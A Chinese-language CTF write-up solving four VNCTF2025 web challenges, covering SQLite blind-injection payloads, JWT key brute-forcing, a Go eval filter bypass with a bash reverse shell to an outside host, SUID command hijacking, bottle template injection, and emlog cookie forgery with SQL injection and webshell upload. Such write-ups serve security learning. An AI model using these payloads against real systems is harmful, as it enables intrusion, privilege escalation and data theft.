寒假复健
VNCTF2025-WEB
javaGuide
java反序列化第一步(题目环境不出网)
不会java
奶龙回家
小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次
这题需要通过时间盲注拿到账号密码。
先fuzz一下,发现过滤了下面五个东西,并且是个单引号闭合。
1 | sleep |
但是测试的时候发现好像没有if,应该是一个sqlite数据库。我们可以使用case语句作为代替,并且要注意sqlite是没用database()函数的,所以我们平常的测试方法就会报错。但是sqlite提供了一个数据表sqlite_master,里面保存了数据库表的关键信息。
可以参考这篇文章文章 - sqlite注入的一点总结 - 先知社区
1 | 1'/**/or/**/(case/**/when(substr(sqlite_version(),1,1)>'2')/**/then/**/randomblob(1000000000)/**/else/**/0/**/end)-- |
发现成功触发延时。那就可以开始写sql脚本了。
1 | import requests, string, time |
表结构是
1 | #脚本跑出来的结果是:(需要多跑几次,因为没用二分所以环境会崩掉,多开几个环境测就可以了,里面可能有一点网络问题, |
拿到账号密码nailong/woaipangmao114514
登录后看到flag
Gin
go是世界上最好的语言
这题没看,赛后写了一下
一开始的思路是利用jwt成为admin用户,在utils/jwt.go里面找到jwtkey的生成逻辑。是三位随机数加上config.key()的返回值。
1 | func GenerateKey() string { |
CTF打多了就知道一般在下载文件这种地方都有目录穿越,直接利用这个拿到key.go的内容
现在种子和key都有了,那可以写个go程序来生成完整的jwtkey了。我直接用hashcat爆破了,反正才三位
1 | hashcat hash.txt -a 3 ?d?d?dr00t32l |
jwtkey是122r00t32l,现在就可以伪造成admin了。然后看看admin能干什么
发现eval路由能执行go代码
1 | func Eval(c *gin.Context) { |
并且进行了一点检测
1 | func containsBannedPackages(code string) bool { |
注意到这个语句imports := matches[0],也就是说只会检测第一个匹配到的内容,那我们import两次就可以绕过了。
1 | package main |
读到一个假的flag
将命令换成反弹shell:cmd := exec.Command("bash", "-c", "bash -i >& /dev/tcp/x.x.x.x/2333 0>&1")
。成功了
发现有个奇怪的suid
直接执行的话只会返回一个VNCTF2025!!!,和我们刚刚读取/flag的回显是一样的。
所以我们猜测它是执行了一个cat /flag的操作。接下来就可以劫持cat命令来提权了。
1 | cd /tmp |
可以看到这样执行完Cat之后就是root了,但是由于我们劫持了cat命令,所以要换一个命令读取flag。
学生姓名登记系统
Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?
测试后发现是bottle框架,题目有限制每行长度不超过23
1 | """ |
或者利用{{a:=()}}
这样的海象表达式保存上下文
先爆破num找到可以利用的类
1 | {{a:=()}} |
发现154是os._wrap_close
,156是_sitebuiltins._Printer
并且测试的时候发现直接把环境变量打出来看到flag了
1 | {{a:=()}} |
也可以继续往下利用
1 | {{r:='__builtins__'}} |
滑到最下面就可以看到flag了。
ez_emlog
猴子大王在1月23日开始学习Web安全并搭建了一个博客,你能找到他博客的漏洞吗。
发现这个emlog有一个伪造cookie进入后台的漏洞。但是需要知道AUTH_KEY
install.php里有相关的生成逻辑
可以看到getRandStr的源码如下,里面使用了mt_rand。
1 | function getRandStr($length = 12, $special_chars = true, $numeric_only = false) |
全局搜索AUTH_COOKIE_NAME可以发现
所以可以通过这个拿到AUTH_COOKIE_NAME:RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr,并且这个的生成算法是没有特殊字符的
但是这个AUTH_COOKIE_NAME是第二次通过getRandStr生成的,我们常用的php_mt_seed只适用于给出了第一次部分生成结果的情况。所以现在还是伪造不了cookie
1 | str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' |
然后在结果前面补上32组0 0 0 0。这是因为前面还有32次mt_rand(可能吧,具体原理我也不懂
1 | ./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 43 0 61 1 1 0 61 26 26 0 61 48 48 0 61 21 21 0 61 39 39 0 61 35 35 0 61 51 51 0 61 57 57 0 61 50 50 0 61 38 38 0 61 4 4 0 61 51 51 0 61 37 37 0 61 32 32 0 61 38 38 0 61 17 17 0 61 57 57 0 61 58 58 0 61 11 11 0 61 5 5 0 61 9 9 0 61 47 47 0 61 0 0 0 61 11 11 0 61 40 40 0 61 55 55 0 61 24 24 0 61 16 16 0 61 50 50 0 61 11 11 0 61 17 17 0 61 |
拿到种子
1 |
|
可以看到的确是正确的。
然后就是UA了
根据emlog里面的文章拿到UA头
使用这个代码计算cookie
1 | import hmac |
得到COOKIE
1 | EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=admin|0|1e3a40304234b9c26471af9e528ff56a |
但是这时候会发现还是登录不了。因为用户名不是admin。
继续审计,发现存在sql注入。这里的account是cookie的值用|分隔得到的第一部分,也就是用户名
一路向上查找用法,最终发现在入口在admin\globals.php
1 | loginAuth::checkLogin()->checkLogin()->isLogin()->validateAuthCookie()->getUserDataByLogin() |
也就是说所以地方都可以打sql注入,但是要注意这个sql注入,每换一次注入语句都要重新生成一次cookie,以保证后面的哈希和cookie一致,否则是注入不了的。
1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))#|0|f09705f2ebc55b4c48c050290fe917ab
1’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’emlog’ limit 1,1),0x7e))#|0|6ecad2a7e10059ec9eb46babea4b77f9
1’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’emlog_user’ limit 1,1),0x7e))#|0|3f928611cb828e42abb7964a4253ce9b
//爆帐号
1’ and extractvalue(1,concat(0x7e,(select username from emlog.emlog_user),0x7e))#|0|c89f6995f556858129fa9038fd9eebd6;
1’ and extractvalue(1,concat(0x7e,mid((select username from emlog.emlog_user),16,46),0x7e))#|0|4a52dd34145abc539aed4bb2a0c8664b
这里可以直接在网上搜索emlog的数据库的结构。直接注账号密码就行。通过cookie处的sql注入,成功拿到用户名
这个图片里面的不全。利用mid函数拿到剩下的部分。将user改为1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm
拿到最后的COOKIE
1 | EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm|0|24bfcd1c52901da1990bace5424893c1 |
利用cookie登录。(利用账号密码登录应该也行,但是我没有去试,这里数据库的密码是哈希值,不知道怎么破解
使用数据备份的方式getshell失败。
使用这个项目成功getshellGitHub - ThrivePine/Emlog-Pro-getshell
把项目下载之后,再把里面的shell.php换成木马,然后压缩成压缩包。最后的结果是这样的:
最后在后台的插件管理上传压缩包就行了。